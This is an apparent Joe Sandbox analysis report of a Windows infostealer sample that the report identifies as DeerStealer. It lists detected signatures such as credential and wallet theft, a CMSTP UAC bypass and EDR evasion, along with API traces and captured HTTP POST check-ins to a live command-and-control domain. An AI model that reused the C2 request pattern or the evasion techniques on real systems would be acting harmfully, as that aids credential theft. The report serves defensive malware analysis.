Windows Analysis Report
UolJwovI8c.exe

Overview

General Information

Sample name: UolJwovI8c.exe
renamed because original name is a hash value
Original sample name: b0ad260d058a7f4f299b4bbc7f876799.exe
Analysis ID: 1566414
MD5: b0ad260d058a7f4f299b4bbc7f876799
SHA1: e056c9e7fad86450e47c43120f9dd74e20c84db9
SHA256: 79120d139d1041d1c9a506a1a21ed304211f43893dd61295e64028cdb1fa34e2
Tags: exeuser-abuse_ch
Infos:

Detection

Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
Yara detected UAC Bypass using CMSTP
AI detected suspicious sample
Drops executable to a common third party application directory
Found direct / indirect Syscall (likely to bypass EDR)
Found hidden mapped module (file has been removed from disk)
Machine Learning detection for dropped file
Maps a DLL or memory area into another process
Switches to a custom stack to bypass stack traces
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Writes to foreign memory regions
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Deletes files inside the Windows folder
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Drops files with a non-matching file extension (content does not match file extension)
Found dropped PE file which has not been started or loaded
Found evaded block containing many API calls
Found evasive API chain (date check)
Found evasive API chain (may stop execution after checking a module file name)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries the installation date of Windows
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Searches for user specific document files
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses the system / local time for branch decision (may execute only at specific dates)
Yara signature match

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

AV Detection
barindex
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.5% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\idrccptxisabu Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ekxwihvmv Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005AA0BB DecryptFileW, 0_2_005AA0BB
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005CFA62 CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,CryptHashData,ReadFile,GetLastError,CryptDestroyHash,CryptReleaseContext,GetLastError,CryptGetHashParam,GetLastError,SetFilePointerEx,GetLastError, 0_2_005CFA62
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005A9E9E DecryptFileW,DecryptFileW, 0_2_005A9E9E
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_0052A0BB DecryptFileW, 2_2_0052A0BB
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_0054FA62 CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,CryptHashData,ReadFile,GetLastError,CryptDestroyHash,CryptReleaseContext,GetLastError,CryptGetHashParam,GetLastError,SetFilePointerEx,GetLastError, 2_2_0054FA62
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_00529E9E DecryptFileW,DecryptFileW, 2_2_00529E9E

Exploits
barindex
Yara detected UAC Bypass using CMSTP
Source: Yara match File source: 14.2.cmd.exe.5422acd.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qjsync.exe.27a86ed.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qjsync.exe.27a7aed.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.cmd.exe.579eacd.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.cmd.exe.5759a00.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qjsync.exe.2762a20.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.cmd.exe.5182a00.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.Qjsync.exe.26b1a20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.cmd.exe.34607f8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.cmd.exe.53dda00.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.cmd.exe.51c86cd.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.cmd.exe.54236cd.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.cmd.exe.51c7acd.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.cmd.exe.579f6cd.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.Qjsync.exe.26f76ed.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.Qjsync.exe.26f6aed.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000E.00000002.2963541112.0000000003460000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2906490239.0000000003E1D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.3401936989.00000000026AB000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.3125872527.0000000003EB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2963866860.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2423574647.0000000003EA5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2266985552.0000000003E3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.3289498939.0000000005753000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cmd.exe PID: 5936, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Qjsync.exe PID: 5648, type: MEMORYSTR
Uses 32bit PE files
Source: UolJwovI8c.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, REMOVABLE_RUN_FROM_SWAP, NET_RUN_FROM_SWAP
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49835 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49841 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49847 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49856 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49861 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49866 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49872 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49877 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49883 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49889 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49981 version: TLS 1.2
Source: UolJwovI8c.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Binary string: C:\agent\_work\8\s\build\ship\x86\burn.pdb source: UolJwovI8c.exe, 00000000.00000000.2141512330.00000000005DB000.00000002.00000001.01000000.00000003.sdmp, UolJwovI8c.exe, 00000000.00000002.2270107152.00000000005DB000.00000002.00000001.01000000.00000003.sdmp, UolJwovI8c.exe, 00000002.00000002.2268802426.000000000055B000.00000002.00000001.01000000.00000005.sdmp, UolJwovI8c.exe, 00000002.00000000.2146405308.000000000055B000.00000002.00000001.01000000.00000005.sdmp
Source: Binary string: e:\builds\tinderbox\Tb-Mozilla1.8-Release\WINNT_5.0_Depend\mozilla\nss\smime\smime3.pdb source: thunderbird.exe, 00000003.00000003.2261175868.00000000030F3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: e:\builds\tinderbox\Tb-Mozilla1.8-Release\WINNT_5.0_Depend\mozilla\nsprpub\lib\libc\src\plc4.pdb source: thunderbird.exe, 00000003.00000003.2261061954.00000000030F2000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb0x source: Qjsync.exe, 0000000C.00000002.2990467872.0000000000807000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: e:\builds\tinderbox\Tb-Mozilla1.8-Release\WINNT_5.0_Depend\mozilla\xpcom\build\xpcom_core.pdb source: UolJwovI8c.exe, 00000002.00000003.2152299284.0000000001237000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000002.2266453328.00000000030F0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: e:\builds\tinderbox\Tb-Mozilla1.8-Release\WINNT_5.0_Depend\mozilla\js\src\js3250.pdb source: thunderbird.exe, 00000003.00000003.2260293637.00000000030F3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: Qjsync.exe, 0000000C.00000002.2990467872.0000000000807000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ntdll.pdb source: Qjsync.exe, 0000000C.00000002.2993611855.0000000004625000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2994456320.000000000502D000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2995684403.000000000562C000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3002973538.0000000006428000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2993940701.0000000004A2E000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992434111.0000000003C2E000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2997448882.0000000005820000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2993776348.000000000482B000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3001297741.0000000006023000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3001773674.0000000006222000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3009942750.000000000682F000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2994768666.0000000005227000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2998408291.0000000005A2A000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990815003.000000000231E000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2995178015.0000000005424000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3010883351.0000000006E23000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2994299092.0000000004E2B000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992753897.0000000004029000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3010479279.0000000006A26000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2994106239.0000000004C25000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3011054669.0000000007027000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2999681039.0000000005C26000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992266988.0000000003A2F000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2991394784.0000000002CA0000.00000004.00001000.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3010694132.0000000006C2F000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992592814.0000000003E21000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992985783.0000000004228000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3009392654.0000000006627000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2993433030.0000000004426000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3000721798.0000000005E20000.00000004.00000001.000200
Source: Binary string: C:\bb\ke-win-x86-r\edit-6.1\build\release\scintilla\bin\SciLexer.pdb source: UolJwovI8c.exe, 00000002.00000002.2269434913.0000000010078000.00000002.00000001.01000000.00000007.sdmp
Source: Binary string: wntdll.pdbUGP source: thunderbird.exe, 00000003.00000002.2267589142.000000000414F000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000002.2267700401.00000000044A0000.00000004.00000800.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2424320446.00000000048BE000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2424021424.00000000041A6000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2424136432.0000000004500000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2659895514.0000000004DD1000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2661703622.00000000056C0000.00000004.00001000.00020000.00000000.sdmp, thunderbird.exe, 0000000D.00000002.2906941608.0000000004480000.00000004.00000800.00020000.00000000.sdmp, thunderbird.exe, 0000000D.00000002.2906825762.0000000004123000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ntdll.pdbUGP source: Qjsync.exe, 0000000C.00000002.2993611855.0000000004625000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2994456320.000000000502D000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2995684403.000000000562C000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3002973538.0000000006428000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2993940701.0000000004A2E000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992434111.0000000003C2E000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2997448882.0000000005820000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2993776348.000000000482B000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3001297741.0000000006023000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3001773674.0000000006222000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3009942750.000000000682F000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2994768666.0000000005227000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2998408291.0000000005A2A000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990815003.000000000231E000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2995178015.0000000005424000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3010883351.0000000006E23000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2994299092.0000000004E2B000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992753897.0000000004029000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3010479279.0000000006A26000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2994106239.0000000004C25000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3011054669.0000000007027000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2999681039.0000000005C26000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992266988.0000000003A2F000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2991394784.0000000002CA0000.00000004.00001000.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3010694132.0000000006C2F000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992592814.0000000003E21000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992985783.0000000004228000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3009392654.0000000006627000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2993433030.0000000004426000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3000721798.0000000005E20000.00000004.00000001.000
Source: Binary string: wntdll.pdb source: thunderbird.exe, 00000003.00000002.2267589142.000000000414F000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000002.2267700401.00000000044A0000.00000004.00000800.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2424320446.00000000048BE000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2424021424.00000000041A6000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2424136432.0000000004500000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2659895514.0000000004DD1000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2661703622.00000000056C0000.00000004.00001000.00020000.00000000.sdmp, thunderbird.exe, 0000000D.00000002.2906941608.0000000004480000.00000004.00000800.00020000.00000000.sdmp, thunderbird.exe, 0000000D.00000002.2906825762.0000000004123000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: gecko_browsers\Firefox\profiles\2o7hffxt.default-release\pkcs11.txti\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: Qjsync.exe, 0000000C.00000002.2990467872.0000000000807000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: e:\builds\tinderbox\Tb-Mozilla1.8-Release\WINNT_5.0_Depend\mozilla\mail\app\thunderbird.pdb source: thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: e:\builds\tinderbox\Tb-Mozilla1.8-Release\WINNT_5.0_Depend\mozilla\nss\softokn\softokn3.pdb source: thunderbird.exe, 00000003.00000003.2261284458.00000000030F3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: e:\builds\tinderbox\Tb-Mozilla1.8-Release\WINNT_5.0_Depend\mozilla\nss\nss\nss3.pdb source: thunderbird.exe, 00000003.00000003.2260894204.00000000030F3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: Qjsync.exe, 0000000C.00000002.2990467872.0000000000807000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: e:\builds\tinderbox\Tb-Mozilla1.8-Release\WINNT_5.0_Depend\mozilla\nsprpub\pr\src\nspr4.pdb source: thunderbird.exe, 00000003.00000003.2260778595.00000000030F3000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_00593CC4 GetFileAttributesW,GetLastError,GetLastError,SetFileAttributesW,GetLastError,GetTempPathW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,DeleteFileW,GetTempFileNameW,MoveFileExW,MoveFileExW,MoveFileExW,FindNextFileW,GetLastError,GetLastError,GetLastError,GetLastError,RemoveDirectoryW,GetLastError,MoveFileExW,GetLastError,FindClose, 0_2_00593CC4
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005D4440 FindFirstFileW,FindClose, 0_2_005D4440
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005A9B43 FindFirstFileW,lstrlenW,FindNextFileW,FindClose, 0_2_005A9B43
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005C7B87 FindFirstFileExW, 0_2_005C7B87
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_00554440 FindFirstFileW,FindClose, 2_2_00554440
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_00529B43 FindFirstFileW,lstrlenW,FindNextFileW,FindClose, 2_2_00529B43
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_00547B87 FindFirstFileExW, 2_2_00547B87
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_00513CC4 GetFileAttributesW,GetLastError,GetLastError,SetFileAttributesW,GetLastError,GetTempPathW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,DeleteFileW,GetTempFileNameW,MoveFileExW,MoveFileExW,MoveFileExW,FindNextFileW,GetLastError,GetLastError,GetLastError,GetLastError,RemoveDirectoryW,GetLastError,MoveFileExW,GetLastError,FindClose, 2_2_00513CC4
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\ Jump to behavior

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2056550 - Severity 1 - ET MALWARE Win32/DeerStealer CnC Checkin : 192.168.2.6:49835 -> 104.21.74.149:443
Source: Network traffic Suricata IDS: 2056550 - Severity 1 - ET MALWARE Win32/DeerStealer CnC Checkin : 192.168.2.6:49981 -> 104.21.74.149:443
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49835 -> 104.21.74.149:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49847 -> 104.21.74.149:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49866 -> 104.21.74.149:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49872 -> 104.21.74.149:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49856 -> 104.21.74.149:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49877 -> 104.21.74.149:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49883 -> 104.21.74.149:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49861 -> 104.21.74.149:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49889 -> 104.21.74.149:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49981 -> 104.21.74.149:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49841 -> 104.21.74.149:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /courtney_ryley_cooper_biography.html?jobjbyy11iib4wpr=h3593GdmUsLiBsC%2FsjqNL9WLjcuO1JIs5YlYwsq2r0v2XtuOfeIISqlAWv5gAlx740W1uYA%2FAE%2FbB%2BPI3Lm%2FUw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Content-Length: 96Host: amenstilo.website
Source: global traffic HTTP traffic detected: POST /courtney_ryley_cooper_biography.html?jobjbyy11iib4wpr=h3593GdmUsLiBsC%2FsjqNL9WLjcuO1JIs5YlYwsq2r0v2XtuOfeIISqlAWv5gAlx740W1uYA%2FAE%2FbB%2BPI3Lm%2FUw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36keephis: muBSN9rS0m9IJp1td7zVaQplRSv1+npjCmN1+3Lp5KRnx3l+GpkQBQzoL3U0WvsRkGE+NF+ehk3fqBN20gQOF6/nAUHcsQFmStSolt9u4BXbAdffJ/ulEuxaOR7PEJniContent-Length: 53Host: amenstilo.website
Source: global traffic HTTP traffic detected: POST /courtney_ryley_cooper_biography.html?jobjbyy11iib4wpr=h3593GdmUsLiBsC%2FsjqNL9WLjcuO1JIs5YlYwsq2r0v2XtuOfeIISqlAWv5gAlx740W1uYA%2FAE%2FbB%2BPI3Lm%2FUw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36keephis: muBSN9rS0m9IJp1td7zVaQplRSv1+npjCmN1+3Lp5KRnx3l+GpkQBQzoL3U0WvsRkGE+NF+ehk3fqBN20gQOF6/nAUHcsQFmStSolt9u4BXbAdffJ/ulEuxaOR7PEJniContent-Length: 208Host: amenstilo.website
Source: global traffic HTTP traffic detected: POST /courtney_ryley_cooper_biography.html?jobjbyy11iib4wpr=h3593GdmUsLiBsC%2FsjqNL9WLjcuO1JIs5YlYwsq2r0v2XtuOfeIISqlAWv5gAlx740W1uYA%2FAE%2FbB%2BPI3Lm%2FUw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36keephis: muBSN9rS0m9IJp1td7zVaQplRSv1+npjCmN1+3Lp5KRnx3l+GpkQBQzoL3U0WvsRkGE+NF+ehk3fqBN20gQOF6/nAUHcsQFmStSolt9u4BXbAdffJ/ulEuxaOR7PEJniContent-Length: 129223Host: amenstilo.website
Source: global traffic HTTP traffic detected: POST /courtney_ryley_cooper_biography.html?jobjbyy11iib4wpr=h3593GdmUsLiBsC%2FsjqNL9WLjcuO1JIs5YlYwsq2r0v2XtuOfeIISqlAWv5gAlx740W1uYA%2FAE%2FbB%2BPI3Lm%2FUw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36keephis: muBSN9rS0m9IJp1td7zVaQplRSv1+npjCmN1+3Lp5KRnx3l+GpkQBQzoL3U0WvsRkGE+NF+ehk3fqBN20gQOF6/nAUHcsQFmStSolt9u4BXbAdffJ/ulEuxaOR7PEJniContent-Length: 745Host: amenstilo.website
